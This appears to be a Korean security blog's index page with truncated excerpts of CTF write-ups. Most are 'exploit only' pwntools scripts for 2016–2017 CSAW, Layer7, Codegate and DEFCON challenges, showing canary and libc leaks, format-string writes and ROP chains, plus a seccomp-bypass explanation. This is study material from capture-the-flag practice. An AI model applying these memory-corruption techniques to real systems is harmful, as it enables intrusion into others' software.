본문 바로가기

Study

logcat 문자열 필터링 logcat exploit:E *:E | grep exploit 더보기
2017 DEFCON mute 풀이 참고자료 https://raw.githubusercontent.com/Owlz/CTF/master/2017/DEFCON/mute/win.py 실제 CTF에서 문제를 오래 붙잡고 있었지만 풀지 못해서 라이트업을 보고 다시 적는다. 내가 입력 한 페이로드로 바로 뛰기 때문에 쉘코드를 만들어 주기만 하면된다 하지만, seccomp라는 샌드박스를 통해서 특정 syscall을 제외한 나머지를 필터링 하기 때문에 일반적인 쉘코드를 사용하지 못한다. seccomp에는 blacklist 방식과 whitelist 방식이 있는데, blacklist 방식의 경우에는 64bit 쉘코드가 아닌 32bit 쉘코드를 사용하는 것으로 우회가 가능하다.(64bit와 32bit의 system call 번호가 다르기 때문에 가능) 반면,.. 더보기
codegate 2017 angrybird exploit only 문제는 간단히 string을 21개 입력 받고 if문을 약 400개 정도 통과하면 입력 받은 string이 flag가 되는 형식 이었다. ida로 피해야 되는 부분을 일일이 다 파싱해서 fails 배열로 만들어주고, 시작 부분을 main 시작 위치가 아니라 fgets를 받는 위치로 설정해야 한다. ( 이유는 main 시작 부분에 안티 디버깅과 실행을 제대로 되지 않게 하기 위한 바이너리 패치가 되어 있기 때문, 이거 때문에 실제 대회에서는 풀지 못했다 ㅠㅠ ) ida로 열어서 disassemble을 하기 위해서는 몇가지 바이트 수정이 필요하다. ( xor eax,eax 이 부분만 수정해 주면 될 듯 ) 나머지 부분은 일반적인 angr 사용법이랑 동일하다. =========== EXPLOIT SOURCE .. 더보기
키사 명예의 전당에 등극하다 많이 사용하지 않는 프로그램을 공격해서 처음으로 키사에 제보했다. 하나 밖에 신고 안했는데 명예의 전당에 등록 해 준다. 기념으로 사진! ( 블로그 이름을 잘 못 등록 했다 -_- ) 더보기
pwntools 로컬 문제 풀때 사용법 http://cheesehack.tistory.com/category/Etc/Pwntools%20reference 더보기
2016 CSAW CTF tutorial exploit only from pwn import * #nc pwn.chal.csaw.io 8002 conn = remote('pwn.chal.csaw.io', 8002) payload ="1\n"conn.send(payload) print conn.recvuntil(">Reference:0x") puts_addr = int(conn.recv(12), 16) + 1280print "puts_addr : " + hex(puts_addr) payload = "2\n"conn.send(payload) payload = "A" * 310payload += "Z"payload += "\n" conn.send(payload) print conn.recvuntil("Z\n") canary = u64(conn.recv(8)) print ".. 더보기
2016 Layer7 CTF easy_fsb exploit only FSB에 약점을 가지고 있던 나로써는 힘들게 푼 문제.. 바보같이 %hn이 2byte를 써 준다는 걸 모르고 삽질 .. %s로 하면 주소를 leak 시킬 수 있다는 걸 모르고 삽질 .. 같은 팀원인 민정이의 도움을 받았다. from pwn import * conn = remote('prob.layer7.kr', 10002) payload = "%75$x\n" conn.send(payload) libc_start = int(conn.recv(8),16) - 247 print "libc_start : " + hex(libc_start) system_libc = 0x0003A920 - 0x00018540system_addr = system_libc + libc_startprintf_got = 0x0804A01.. 더보기
2016 Layer7 CTF easy_bof exploit only from pwn import * conn = remote('prob.layer7.kr', 10003) payload = "2147483650\n"payload += "%43$lx%41$lx" conn.send(payload) canary = conn.recv(16)start = conn.recv(12) print "canary : " + canaryprint "start : " + start base_addr = int(start,16) - 0x7e0 printf_plt = base_addr + 0x00000000000007A0fflush_got = base_addr + 0x0000000000200FD8 puts_plt = base_addr + 0x0000000000000790puts_got = base.. 더보기
codegate 2013 vuln200 from rop exploit only from pwn import * elf = ELF('/usr/local/src/pwn/vuln200/vuln200') recv_plt,send_plt = elf.plt['recv'], elf.plt['send']recv_got,send_got = elf.got['recv'], elf.got['send'] ppppr = 0x080493ACvuln = 0x08048EEB conn = remote("localhost", 7777) bss = 0x0804B0E0 payload = "write"payload += "A" * 236 payload += "AAAA" payload += p32(send_plt) # retpayload += p32(ppppr) # argv1payload += p32(4) # fdpayl.. 더보기
angry_doraemon exploit only from pwntools from pwn import * elf = ELF('./angry')rop = ROP(elf) read_plt,write_plt = elf.plt['read'], elf.plt['write']read_got,write_got = elf.got['read'], elf.got['write'] conn = remote('localhost', 8888) sleep(2.3) payload = "4\n" conn.send(payload) sleep(0.3) canary = 0x6df37b00ppppr = 0x080495BCboom = 0x08048FC6 payload = "y111111111"payload += p32(canary)payload += "AAAA"payload += "AAAA" payload += ".. 더보기